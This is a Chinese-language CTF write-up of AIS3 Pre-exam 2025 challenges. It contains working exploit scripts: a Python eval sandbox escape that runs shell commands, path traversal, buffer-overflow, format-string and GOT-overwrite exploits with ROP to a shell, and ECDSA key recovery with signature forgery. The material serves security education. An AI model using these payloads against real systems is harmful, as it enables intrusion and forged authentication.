AIS3 Pre-exam 2025 Writeups: 竹喵Maimai我來了

Last updated on 2025-06-30 15:04:26 +08:00

Header

名次

AIS3 Pre-exam
image
image

心得

我是垃圾,我把自己出賣給AI了
對不起,我沒去打MyGO schedule manager β

Misc

Welcome

image

AIS3{Welcome_And_Enjoy_The_CTF_!}

Ramen CTF

image

題目
image

這題的關鍵是”發票”
image

發票上有只缺了最後一個數字的賣家統編,通靈一下就可以得到是34785923
用這個賣家統編去查就可以找到相關資訊
image

用營業(稅籍)登記地址在Google Maps找到的店家名稱是”樂山溫泉拉麵”
image

至於點的餐點是哪個,直接掃描發票上的QRCode,會掃描出一段文字,其中有”蝦拉”兩字
image

對應到菜單上就是”蝦拉麵”(圖片右下角)
image

AIS3{樂山溫泉拉麵:蝦拉麵}

AIS3 Tiny Server - Web / Misc

image

網站開起來是這樣
image

看來是直接Serve static file的網站
image

而且可以在Path用../達到Path Traversal(/%2f代替)
image

讀取Flag
image

AIS3{tInY_WeB_s3RVER_Wi7H_FIl3_8ROWs1n9_@5_@_feaTUr3}

nocall 🈲📞

image

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/local/bin/python3
import unicodedata

print(open(__file__).read())

expr = unicodedata.normalize("NFKC", input("> "))

if "._" in expr:
raise NameError("no __ %r" % expr)

if "breakpoint" in expr:
raise NameError("no breakpoint %r" % expr)

if any([x in "([ ])" for x in expr]):
raise NameError("no ([ ]) %r" % expr)

# baby version: response for free OUO
result = eval(expr)
print(result)

Blacklists:

  • breakpoint
  • ._
  • (
  • )
  • [
  • ]

禁用了小括號,沒辦法直接call function,但是Ln18會把eval跑之後的結果存入result,在Ln19print(result)
如果能把print變成eval,同時eval回傳、存入result的是__import__('os').system('cat /flag*'),就可以打掉這題

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

def conv(s):
return ''.join("\\x%2x"%ord(c) for c in s)

r = remote("chals1.ais3.org", 15451)

payload = conv("__import__('os').system('cat /flag*')")
payload = "{print:=eval}and\"%s\""%payload
print(payload)
#exit()
r.sendlineafter(b"> ", payload.encode())

r.interactive()

Payload攤開是長這樣

1
{print:=eval}and"\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x2a\x27\x29"

and的左邊是一個set({1, 2, 3}這樣是個set),在這個set中使用海象運算符:=,把print賦值eval,這樣 server.py Ln19表面上是執行print(result),其實是變成eval(result)
and的右邊就是要執行的命令,以\x??的形式輸入,這樣才不會被Ban
而中間用and,可以確保兩邊都被執行到(兩邊都需要執行過,知道值,才能把兩邊的值拿來and,而or不一樣,如果一邊對or已經是真,另一邊就不會執行),且最後回傳我的command

ㄟ幹但我不會Revenge

AIS3{you_can_overwrite_builtins_to_call_without_()}

Web

我大退步

Tomorin db 🐧

image

網站後端會serve/app/Tomorin底下的檔案,目標是/app/Tomorin/flag
但是後端有一個route/flag,如果直接打http://chals1.ais3.org:30000/flag會匹配到這個route,堇姬會讓Redirect你去看Ave Mujica
image

可以用http://chals1.ais3.org:30000/%2fflag
到後端的時候,這個Path會匹配不到route/flag,然後匹配/,serve static file,就可以拿到Flag了
image

ChatGPT拿了MVP
image

AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}

Reverse

AIS3 Tiny Server - Reverse

image

decompile之後一個一個函式點開(對,真的),在0x11e20摸到了一個長比較奇怪的,一臉Flag Checker樣(真的,別不信,我直覺這就是Flag Checker)
image

就是有兩個陣列_flaglocal_49,兩個迴圈都有各自的初始值,產生flag的過程簡化來說就是這樣,最後flag會被存在_flag

1
2
for i in range(0, 0x2d, 1):
_flag = _flag[i] ^ local_49[i % 10]

下面這邊就是把輸入的flag跟上面產生的_flag比對,反正不重要
image

工人智慧之後寫出解題腳本
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
def flag_checker(flag:str):
local_49 = [0] * 11
_flag = [0]*46

bVar5 = 0x33
_flag[0x2c] = 0x14
_flag[0x2d] = 0
bVar1 = 0x72
_flag[0] = 0x33
_flag[1] = 0x20
_flag[2] = 0x38
_flag[3] = 0x58
_flag[4] = 0x12
_flag[5] = 0x28
_flag[6] = 0x5c
_flag[7] = 0x47
_flag[8] = 0x29
_flag[9] = 0x52
_flag[10] = 0x2d
_flag[0xb] = 0xf
_flag[0xc] = 0x5a
_flag[0xd] = 10
_flag[0xe] = 0xe
_flag[0xf] = 0
_flag[0x10] = 0xf
_flag[0x11] = 0x58
_flag[0x12] = 0x13
_flag[0x13] = 0x50
_flag[0x14] = 0x19
_flag[0x15] = 0x5a
_flag[0x16] = 0x19
_flag[0x17] = 0x34
_flag[0x18] = 0x58
_flag[0x19] = 0x31
_flag[0x1a] = 0x33
_flag[0x1b] = 0x43
_flag[0x1c] = 0x13
_flag[0x1d] = 0x41
_flag[0x1e] = 4
_flag[0x1f] = 0x5a
_flag[0x20] = 0x19
_flag[0x21] = 0x34
_flag[0x22] = 0x58
_flag[0x23] = 0x2c
_flag[0x24] = 0x33
_flag[0x25] = 0x53
_flag[0x26] = 0x46
_flag[0x27] = 3
_flag[0x28] = 0x1e
_flag[0x29] = 0x48
_flag[0x2a] = 0x4a
_flag[0x2b] = 0x4a
local_49[0] = 0x72
local_49[1] = 0x69
local_49[2] = 0x6b
local_49[3] = 0x6b
local_49[4] = 0x69
local_49[5] = 0x5f
local_49[6] = 0x6c
local_49[7] = 0x30
local_49[8] = 0x76
local_49[9] = 0x33
uVar3 = 0

while (True):
_flag[uVar3] = bVar1 ^ bVar5
uVar4 = uVar3 + 1
if (uVar4 == 0x2d): break
bVar5 = _flag[uVar3 + 1]
bVar1 = local_49[uVar4 % 10]
uVar3 = uVar4

print("".join(list(map(chr, _flag))))

flag_checker("")

不過解題腳本就是我直接把Ghidra decompile的東西貼到Python裡改一改

AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

web flag checker

image

一個Flag Checker,最主要目標是index.wasm
image

把這個index.wasm丟到(有裝wasm plugin的)Ghidra,可以看到export中有一個flagchecker
image

decompile
image
可以看到有個迴圈,把flag被以每8bytes一組,當做第一個參數丟進去unnamed_function_8,第二個參數是0xfd9ea72d >> (i * 6 & 0x1f) & 0x3f,而函式的回傳值跟local_40[i]比對

unnamed_function_8內其實就是做循環左移,然後回傳
image

所以只要把flag 8bytes一組循環右移回去就可以解題了

工人智慧腳本 exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def function8(payload, a2):
res = payload << (a2 & 0x3f) | payload >> ((0x40 - a2) ^ 0x3f)
return res & 0xffffffffffffffff

def ror(x, n):
return ((x >> n) | (x << (64 - n))) & 0xFFFFFFFFFFFFFFFF

local_40 = [0] * 5
local_40[0] = 0x69282a668aef666a
local_40[1] = 0x633525f4d7372337
local_40[2] = 0x9db9a5a0dcc5dd7d
local_40[3] = 0x9833afafb8381a2f
local_40[4] = 0x6fac8c8726464726

for i in range(5):
res = ror(local_40[i], 0xfd9ea72d >> (i * 6 & 0x1f) & 0x3f)
for _ in range(8):
print(chr((res>>_*8)&0xff), end='')
print()

AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

verysafe_image_encrypter

image

程式會把目錄下的input_image.png加密,輸出到encrypted_image.png
分析過程先用網路上隨便找的png圖片來用,最後解題再解密題目附的encrypted_image.png
image

有加殼,用的還是自製殼
image

_start()中可以看到,程式跑過幾個function之後直接一個跳轉
image

在x64dbg中看這個跳轉跳去哪裡,跳到了0x4014c0
image

但這一大塊在原本的程式裡面都是空的,推測到這個跳轉的時候是已經解殼完成,跳轉到的是OEP
image

接著就是在x64dbg中把這個程式dump下來分析
可以找到程式本體的main0x4018ea
image

原本的程式是沒有symbol的(圖片裡看到函式有名稱都是分析時命名的),而且還c++寫的,逆向起來很耗人
中間試了一堆機掰路,wp裡就直接講我最後的解法

用API Monitor看程式調用了哪些API,可以看到程式在解殼之後打開input_image.png並進行了多次的讀取,後面是把加密結果一次寫入encrypted_image.png
image

根據Call Stack,可以找到調用write的點是在0x485cce
image

追這個buffer是從哪裡來的,最後可以得到這樣一條路徑

1
2
3
4
0x40187f sub_40177d() -> buffer作為第二個參數,傳入0x47c0d0
0x47c145 sub_47c0d0() -> buffer作為第二個參數,傳入0x48e290(這邊用的indirect call)
0x48e319 sub_48e290() -> buffer作為第五個參數,傳入0x485c80
0x485cc9 sub_485c80() -> buffer作為第二個參數,傳入write

看到0x40187f sub_40177d()buffer來自”傳入bufabout(這是我自己打的名字)作為第一個參數,呼叫sub_4315a4()“的回傳值
image

sub_4315a4()的作用基本上就是回傳dword bufabout+0x0
也就是說,buffer的指針就放在dword bufabout+0x0

bufaboutsub_40177d()的第二個參數
再往上追bufabout從哪來,可以看到是在0x40197e main()中,呼叫sub_40177d()bufabout作為第二個參數傳入
image

而我們看到0x40197e main(),可以看到bufabout,第一次出現是在上面呼叫sub_401580作為第一個參數傳入,第二次出現是在上面呼叫sub_401520作為第一個參數傳入,最後呼叫sub_40177d就是寫入了
image

下兩個斷點,分別在呼叫sub_40177d()處(0x40197e),跟sub_485c80中呼叫write處(0x485cc9)
可以看到在呼叫sub_40177d()時,buffer中就已經是加密過的圖片資料
image
在呼叫write處資料也沒有改變,所以加密沒有發生在sub_40177d()
image

後面就下斷點在main()中呼叫sub_401580()處,往後查發現在0x401965,傳入bufabout呼叫sub_401520()之前,bufabout中有buffer的指針,buffer裡面有input_image.png的資料
image

而在步過這個function之後,buffer內容就跟在encrypted_image.png中的一樣了,所以確定sub_401520()就是加密function
image

sub_401520()的加密方式其實就是把每一個byte xor 114之後+4
所以,把encrypted_image.png中每一個byte都-4之後xor 114就可以拿到原始檔案
image

exp.py

1
2
with open("./encrypted_image.png", "rb") as eif:
with open("./flag.png", "wb") as sf: sf.write(bytes([((i-4)%256) ^ 114 for i in eif.read()]))

input_image.png
image

AIS3{rwx_53gm3nttt_s0_5AS}

Pwn

Welcome to the World of Ave Mujica🌙

image

0x4014ac處,有一個read,從stdin讀取輸入到stack上的buf
readsizerax_9(型別 char aka int8_t),而rax_9來自0x40147d呼叫read_int8()的回傳值
image

read_int8(),使用read讀取4個字輸入到var_10中,然後用atoi()轉成整數型別,把結果存入int32_t rax中,如果rax <= 0x7f就回傳rax,否則直接exit()結束整個程式
rax的型別是int32_t(有符號32位整數),而readsize參數型別是size_t,如果輸入-1,轉成int32_t就也會是-1-1 <= 0x7f就可以通過檢查
return之後回傳值存入main()rax_9,變成-1(char aka int8_t),但傳入read時因為size型別是size_t-1會變成0xff,就可以獲取一個buffer overflow
image

程式裡面就有win function可以用,buffer overflow直接打一波ret2win(ret2func)就解決
image

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

#r = process("./chal")
r = remote("chals1.ais3.org", 60876)

r.recvlines(9)
r.sendline(b"yes")

r.sendlineafter(b": ", b"-1")
r.sendlineafter(b": ", b"a"*(8*21)+p64(0x40125a))

r.interactive()

AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._962ed0da8cc268db91ab18d21c20320a}

Format Number

image

Ln24Ln27: 開啟/home/chal/flag.txt並將內容讀到stack上的bufferv12
Ln28
Ln30: 讀取輸入15 bytes到bufferv7
Ln31: 把v7丟到check_format()
Ln35~Ln41: 合成字串"%3$" + v7 + "d\n"v8,最後print(v8)
v8直接被作為format,有了打format string attack的機會
image

但看到check_format()內部,簡單講就是過濾傳入的字串(bufferv7),不能有英文字母跟空格
image

最後我構建的payload是^%?$(問號那邊改成數字),這樣合成出來的v8就會是"%3$" + "^%?$" + "d\n" = "%3$^%?$d\n"
就是一種打injection的感覺,payload最前面的^是截斷的作用,後面構造一個新的format

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

flag = ""

#r = process("./chal")
for i in range(20, 60):
r = remote("chals1.ais3.org", 50960)

r.sendlineafter(b"What format do you want ? ", (f"^%{i}$").encode())
r.recvuntil(b": %^")
f = int(r.recvline().decode().strip(), 10)

flag += chr(f)

r.close()

success(flag)

AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}

MyGO schedule manager α

image

checksec

1
2
3
4
5
6
7
8
9
[p23@fubukisocute share]$ checksec chal
[*] '/home/p23/ctf/2025_ais3_preexam/dist-schedule-alpha-88389c8815258702516ef158e4a3e8c4b39d2a46/share/chal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled

這題主要有四個操作可以用,分別是create schedule, edit title, edit content, show schedule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int main()
{
init_proc();

int choice;
int index;

login();

while(1){
menu();
choice = get_choice();
if (choice == 1){
create();
} else if (choice == 2){
edit_title();
} else if (choice == 3){
edit_content();
} else if (choice == 4){
show();
} else {
break;
}

}
return 0;
}

struct schedule

1
2
3
4
struct schedule{
char title[0x16];
std::string content;
};

create()中,可以創建一個struct schedulecin輸入到schedule->title(char array)跟schedule->content(std::string)
每次運行都只能創建一個schedule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void create(){
if(SCHEDULE_STATUS == 0){
sched = new(std::nothrow) schedule;
if (sched == nullptr) {
puts("[x] Memory allocation failed!");
exit(0);
}

puts("MyGO @ sched title > ");
std::cin >> sched->title;
puts("MyGO @ sched content > ");
std::cin >> sched->content;

SCHEDULE_STATUS = 1;

puts("[!] Create Success !!!");
} else {
puts("[x] Your schedule have been created");
return;
}
}

edit_title()中,你可以cin輸入到已有的schedule的title,但是schedule->title是char array,這裡也沒有任何安全機制,會導致buffer overflow

1
2
3
4
5
6
7
8
9
10
void edit_title(){
if (SCHEDULE_STATUS == 1){
puts("MyGO @ sched title > ");
std::cin >> sched->title;
puts("[!] Edit Success");
} else {
puts("[x] Schdule Not Found ... ");
return;
}
}

edit_content()中,你可以cin輸入到已有的schedule的content,schedule->content是std::string,沒有buffer overflow但是這裡後面還有戲

1
2
3
4
5
6
7
8
9
10
void edit_content(){
if (SCHEDULE_STATUS == 1){
puts("MyGO @ sched content > ");
std::cin >> sched->content;
puts("[!] Edit Success");
} else {
puts("[x] Schdule Not Found ... ");
return;
}
}

show就是把schedule的title跟content的內容都print出來

1
2
3
4
5
6
7
8
9
10
11
void show(){
if (SCHEDULE_STATUS == 1){
printf("===== Schedule =====\n");
printf("MyGO @ Title : %15s\n", sched -> title);
printf("MyGO @ Content : %s\n", sched -> content.c_str());
printf("====================\n");
} else {
puts("[x] Schdule Not Found ... ");
return;
}
}

先看struct schedule在記憶體中的樣貌
可以看到,user data的前0x18 bytes都是schedule->title
而後面0x18 bytes是schedule->content,也就是一個std::string結構體,其中有一個可以理解成data pointer的成員(這個成員是個指針,會指向這個std::string存資料的地方),還有一個可以理解成data size的成員(這裡會紀錄這個std::string存了多少bytes的資料)
image

前面分析時得知edit_title()存在buffer overflow漏洞,如果用這個bof劫持schedule->content的data pointer,就可以達到任意讀寫

這題我的解題思路是這樣:

  1. edit_title()的buffer overflow劫持schedule->content的data pointer,改到程式本體的GOT上,用show()leak libc(因為scheduler->content的data pointer已經被改到GOT上,所以print出來的就會是GOT上的資料)
  2. edit_title()的buffer overflow劫持schedule->content的data pointer,改到libcstrlen的GOT上,用edit_content()修改libcstrlen的GOT,改成win function的address
  3. 後面puts內部呼叫strlen時,因為libcstrlen的GOT已經被劫持、修改成win function address,最後就會變成呼叫win function進而get shell

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

#r = process("./chal")
r = remote("chals1.ais3.org", 51000)

def choice(c): r.sendlineafter(b"< MyGO @ ScheduleManager $ > ", str(c).encode())

def create(title, content):
choice(1)
r.recvline()
r.sendline(title)
r.recvline()
r.sendline(content)

def edit_title(title):
choice(2)
r.recvline()
r.sendline(title)

def edit_content(content):
choice(3)
r.recvline()
r.sendline(content)

# login
r.sendlineafter(b"> ", b"MyGO!!!!!")
r.sendlineafter(b"> ", b"TomorinIsCute")

# leak libc
create(b"aaa", b"b"*0x10)
edit_title(b"a"*0x18+p64(0x403f60) + p64(0x10) + p64(0x1e))
choice(4)
r.recvlines(2)
r.recvuntil(b"MyGO @ Content : ")
libc = u64(r.recv(6) + b"\x00\x00") - 0x815f0
success("libc -> %s"%hex(libc))

# hijacking GOT of glibc
target = libc + 0x21a098
success("target -> %s"%hex(target))
edit_title(b"a"*0x18+p64(target) + p64(0x10) + p64(0x1e))
#raw_input()
edit_content(p64(0x4013ec))

r.interactive()

AIS3{MyGO!!!!!T0m0rin_1s_cut3@u_a2r_mAsr3r_0f_CP1usp1us_string_a2d_0verf10w!_alpha_v3r2on_have_br0ken...Go_p1ay_b3ta!}

Author ?????? RPG

image

checksec

1
2
3
4
5
6
7
8
9
10
[p23@fubukisocute dist-author-rpg-960b2ec8ee649ff4e0abf5a1afd8a7fb9f0d0bae]$ checksec share/chal
[*] '/home/p23/ctf/2025_ais3_preexam/dist-author-rpg-960b2ec8ee649ff4e0abf5a1afd8a7fb9f0d0bae/share/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

這題的第一個漏洞點,是在Ln40處,存在一個oob
對於輸入的rank(int)完全沒有檢查,讓使用者可以輸入一個大數字或是負數來達成oob

1
2
3
4
printf("Competition Rank [1-100] > ");
scanf("%d", &rank);
printf("Name [] > ");
read(0, challenger[rank - 1], 0xf);

這題的第二個漏洞點,在kill_Curious()中,存在一個oob
對於indexkill_Curious_cnt沒有任何檢查,意思就是只要可以執行這個function夠多次就可以oob

1
2
3
4
5
6
7
8
void kill_Curious() {
char worst_challenge[12][0x10] = {0};
fprintf(stdout, "⚔️⚔️⚔️\n\n");
fprintf(stdout, "Result : Curious has been killed by you.\n");
fprintf(stdout, "Worst Challenge [] > ");
read(0, &worst_challenge[kill_Curious_cnt], 0xf);
kill_Curious_cnt += 1;
}

按照程式正常的流程,kill_Curious()只會被執行一次
image

不過我有以下思路:

  1. 用第一個漏洞,輸入負數的rank導致oob,竄改putsprintf的GOT為kill_Curious(),這樣就能讓kill_Curious()被執行很多次,讓第二個漏洞可以被利用
  2. 執行夠多次kill_Curious()的時候,就會oob,worst_challenge是local variable,這個oob帶來的就會是可以竄改saved_rbp跟return address,這邊把saved_rbp放成competition的位址-0x8,把return address放一個leave ; ret,這樣執行兩次leave ; retrsp就可以被改到competition
  3. 在程式一開始,要求向competition輸入的時候,就可以先佈置一些Gadget,這樣後面rsp跑到competition上,就可以打一波ROP

至於如何用ROP get shell:

  1. 呼叫read多寫一條ROP chain在competition的後面
  2. 呼叫read修改read的GOT的最後1byte,改成(&read+15)&0xff
    這裡是注意到read+15就有一個syscall可以用,readread+15只有最後1byte有差別,而ASLR不會動下1.5bytes,改下去之後,call read()就會直接來到syscall,我們就算是有一個syscallgadget能用了
    image
  3. 寫了1byte進去read的GOT之後,rax會變成1,此時syscall就會是SYS_write,所以rdi要改成1(stdout),rsi改成隨便一個有效位址,rdx改成0x3b,然後call read(),這樣就會寫入59bytes到stdout,rax也會是0x3b,變相完成了rax寄存器的設定
  4. 最後把rdi改成/bin/sh的位址,rsirdx都改成0,呼叫read(),就可以執行SYS_execveget shell

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

r = remote("chals1.ais3.org", 50961)
#r = process("./chal")

puts = 0x4010a0
read = 0x4010c0

read_got = 0x404010
fwrite_got = 0x404030
puts_plt = 0x0000000000401030
puts_got = 0x404000
kill_curious = 0x0000000000401207

competetion = 0x404080

# competetion
pop_rdi = 0x4011fe
pop_rsi = 0x401200
pop_rdx = 0x401202

rop2_adr = 0x404100
rop = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(rop2_adr) + p64(pop_rdx) + p64(0x100) + p64(read) + p64(pop_rsi) + p64(read_got) + p64(pop_rdx) + p64(0x1) + p64(read) + p64(pop_rdi) + p64(1) + p64(pop_rdx) + p64(0x3b)
rop = rop[:-1]
rop2 = p64(read) + p64(pop_rdi) + p64(0x4041f0) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(read)
r.sendafter(b"> ", rop)

# rank
r.sendlineafter(b"> ", b"-17")
r.sendlineafter(b"> ", p64(kill_curious)*2)

r.recvlines(6)

for i in range(9): r.sendlineafter(b"> ", b"aaa")
r.sendline(b"1")
for i in range(2): r.sendlineafter(b"> ", b"aaa")

# exploit
r.sendafter(b"> ", (p64(competetion - 0x8)+p64(0x4012d3))[:15])

rop2 = rop2 + b"\x00"*(0xf0-len(rop2)) + b"/bin/sh\x00"
r.sendline(rop2)
raw_input()
r.sendline(b"_")

r.interactive()

AIS3{Curious_1$_v3rY_S@d_7h4T_y0U_w4n7_T0_k1lI_h!m_TT}

Crypto

我把靈魂賤賣給了AI

SlowECDSA

image

這裡用ECDSA簽名,但k是用LCG產生的
$k_{i+1} = (a \cdot k_i + c) \pmod{m}$
$m$ 是橢圓曲線的階order,$a$ 和 $c$ 是LCG的已知常數

  • $a = 1103515245$
  • $c = 12345$
  • m = order = sk.curve.generator.order()(對於 NIST192p 曲線,order = 6277101735386680763835789423207666416083908700390324961279)

獲取兩個由LCG連續產生的nonce $k_1$ 跟 $k_2$ 所對應的簽名,我們可建立一個關於私鑰 $d$ ,就可以建立一個關於私鑰 $d$ (sk.privkey.secret_multiplier) 的方程並解出它

ECDSA簽名 $(r, s)$ 的公式為:
$s = k^{-1} (h + r \cdot d) \pmod{order}$
$h$ 是訊息的雜湊值,這裡可以改寫成
$k = s^{-1} (h + r \cdot d) \pmod{order}$

  1. 呼叫兩次get_example,就可以獲取同個訊息example_msg的兩個簽名 $(r_1, s_1)$ 跟 $(r_2, s_2)$ 。這兩個簽名分別使用了由LCG產生的連續nonce $k_1$ 跟 $k_2$,滿足 $k_2 = (a \cdot k_1 + c) \pmod{order}$

  2. 計算訊息的sha1並取模order $h_{ex} = \text{int.from_bytes(hashlib.sha1(b”example_msg”).digest(), ‘big’) % order}$

  3. 恢復私鑰 $d$

    1. $k_1 \equiv s_1^{-1} (h_{ex} + r_1 \cdot d) \pmod{order}$
    2. $k_2 \equiv s_2^{-1} (h_{ex} + r_2 \cdot d) \pmod{order}$
    3. $k_2 \equiv (a \cdot k_1 + c) \pmod{order}$

    把 (1) 跟 (2) 帶入 (3):
    $s_2^{-1} (h_{ex} + r_2 \cdot d) \equiv a \cdot [s_1^{-1} (h_{ex} + r_1 \cdot d)] + c \pmod{order}$

    這個方程式是關於 $d$ 的線性方程式,整理之後:
    $d (s_2^{-1} r_2 - a s_1^{-1} r_1) \equiv h_{ex} (a s_1^{-1} - s_2^{-1}) + c \pmod{order}$

    私鑰 $d$ 可計算如下
    $\text{term_d_coeff} = (s_2^{-1} r_2 - a s_1^{-1} r_1) \pmod{order}

\text{term_const} = (h_{ex} (a s_1^{-1} - s_2^{-1}) + c) \pmod{order}
d = (\text{term_const} \cdot \text{pow}(\text{term_d_coeff}, -1, \text{order})) \pmod{order}$

1
(注意:$s_1^{-1}$ $s_2^{-1}$ 分別是 $s_1$ $s_2$ 在模 ``order`` 下的模反元素)
  1. 為訊息give_me_flag偽造簽名
    計算give_me_flag的sha1
    $h_{flag} = \text{int.from_bytes(hashlib.sha1(b”give_me_flag”).digest(), ‘big’) % order}$

    選擇一個隨機的 nonce $k_{forge}$ (一個介於 1 和 order-1 之間的隨機數)

    計算橢圓曲線點 $R_{forge} = k_{forge} \cdot G$,其中 $G$ 是 NIST192p 曲線的生成點

    $r_{forge} = R_{forge}.x() \pmod{order}$
    (如果 $r_{forge} == 0$ ,則重新選擇 $k_{forge}$ 並重試)

    $s_{forge} = (\text{pow}(k_{forge}, -1, \text{order}) \cdot (h_{flag} + r_{forge} \cdot d)) \pmod{order}$
    (如果 $s_{forge} == 0$,則重新選擇 $k_{forge}$ 並重試)

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/env python3

import hashlib
from ecdsa import NIST192p # NIST192p is an alias for SECP192r1
from ecdsa.util import number_to_string, string_to_number
import os # For os.urandom

from pwn import *

r = remote('chals1.ais3.org', 19000)

# 橢圓曲線和 LCG 參數 (來自原始挑戰腳本)
curve = NIST192p
order = curve.order # 橢圓曲線的階,也是 LCG 的模 m
G = curve.generator # 橢圓曲線的生成點

a_lcg = 1103515245 # LCG 參數 a
c_lcg = 12345 # LCG 參數 c

def calculate_private_key(r1_hex, s1_hex, r2_hex, s2_hex):
"""
根據兩組連續簽名 (r1, s1) 和 (r2, s2) 來計算私鑰 d。
"""
# 將十六進制輸入轉換為整數
r1 = int(r1_hex, 16)
s1 = int(s1_hex, 16)
r2 = int(r2_hex, 16)
s2 = int(s2_hex, 16)

example_msg_bytes = b"example_msg"
h_ex = int.from_bytes(hashlib.sha1(example_msg_bytes).digest(), 'big') % order

# 計算模反元素
inv_s1 = pow(s1, -1, order)
inv_s2 = pow(s2, -1, order)

# 從以下方程解出 d:
# d * (inv_s2 * r2 - a_lcg * inv_s1 * r1) = h_ex * (a_lcg * inv_s1 - inv_s2) + c_lcg (mod order)

term_d_coeff = (inv_s2 * r2 - a_lcg * inv_s1 * r1) % order
term_const = (h_ex * (a_lcg * inv_s1 - inv_s2) + c_lcg) % order

if term_d_coeff == 0:
raise ValueError("Coefficient of d is zero, cannot compute modular inverse. Attack may fail with these signatures.")

private_key_d = (term_const * pow(term_d_coeff, -1, order)) % order
return private_key_d

def forge_signature(private_key_d, message_bytes):
"""
使用已知的私鑰 d 為給定訊息偽造 ECDSA 簽名。
"""
h_msg = int.from_bytes(hashlib.sha1(message_bytes).digest(), 'big') % order

k_forge = 0
r_forge = 0
s_forge = 0

# 不斷嘗試直到找到有效的 k, r, s (r 和 s 均不為 0)
while r_forge == 0 or s_forge == 0:
# 為 NIST192p 產生一個 192 位元的 k
# os.urandom(24) 提供 24 字節 = 192 位元
k_forge_candidate = int.from_bytes(os.urandom(24), 'big') % order
if k_forge_candidate == 0: # 確保 k 不為 0
continue
k_forge = k_forge_candidate

R_forge_point = k_forge * G
r_forge = R_forge_point.x() % order
if r_forge == 0: # ECDSA 要求 r 不為 0
continue

inv_k_forge = pow(k_forge, -1, order)
s_forge = (inv_k_forge * (h_msg + r_forge * private_key_d)) % order
# ECDSA 要求 s 不為 0

return h_msg, k_forge, r_forge, s_forge

# 主腳本執行部分
if __name__ == "__main__":
print("ECDSA LCG Nonce 攻擊腳本")
print("="*40)
print(f"使用曲線: {curve.name}")
print(f"曲線階 (LCG 的模 m): {order}")
print(f"LCG a: {a_lcg}")
print(f"LCG c: {c_lcg}")
print("="*40)

# 使用者需要從伺服器的 "get_example" 選項提供這些值
print("請提供從 'get_example' 獲取的兩組連續簽名:")

r.recvlines(2)
r.sendlineafter(b": ", b"get_example")
r.recvline()
r1_hex_input = r.recvline().decode().replace("r: ", "").strip() #input("輸入 r1 (來自第一次 get_example, 十六進制): ").strip()
s1_hex_input = r.recvline().decode().replace("s: ", "").strip() #input("輸入 s1 (來自第一次 get_example, 十六進制): ").strip()
r.sendlineafter(b": ", b"get_example")
r.recvline()
r2_hex_input = r.recvline().decode().replace("r: ", "").strip() #input("輸入 r2 (來自第二次 get_example, 十六進制): ").strip()
s2_hex_input = r.recvline().decode().replace("s: ", "").strip() #input("輸入 s2 (來自第二次 get_example, 十六進制): ").strip()

try:
recovered_d = calculate_private_key(r1_hex_input, s1_hex_input, r2_hex_input, s2_hex_input)
print("\n--- 私鑰恢復結果 ---")
print(f"恢復出的私鑰 d (十進制): {recovered_d}")
print(f"恢復出的私鑰 d (十六進制): {hex(recovered_d)}")

target_message_bytes = b"give_me_flag"
print(f"\n--- 為訊息 '{target_message_bytes.decode()}' 偽造簽名 ---")

h_flag, k_chosen_for_forge, r_flag_forged, s_flag_forged = forge_signature(recovered_d, target_message_bytes)

print(f"要簽名的訊息: \"{target_message_bytes.decode()}\"")
print(f"訊息雜湊值 h_flag (十六進制): {hex(h_flag)}")
print(f"本次簽名選擇的 k_forge (十六進制): {hex(k_chosen_for_forge)}")
print(f"偽造的 r_flag (十六進制): {hex(r_flag_forged)}")
print(f"偽造的 s_flag (十六進制): {hex(s_flag_forged)}")

print("\n--- 如何使用這些值 ---")
print("1. 連接到挑戰伺服器。")
print("2. 選擇 'verify' 選項。")
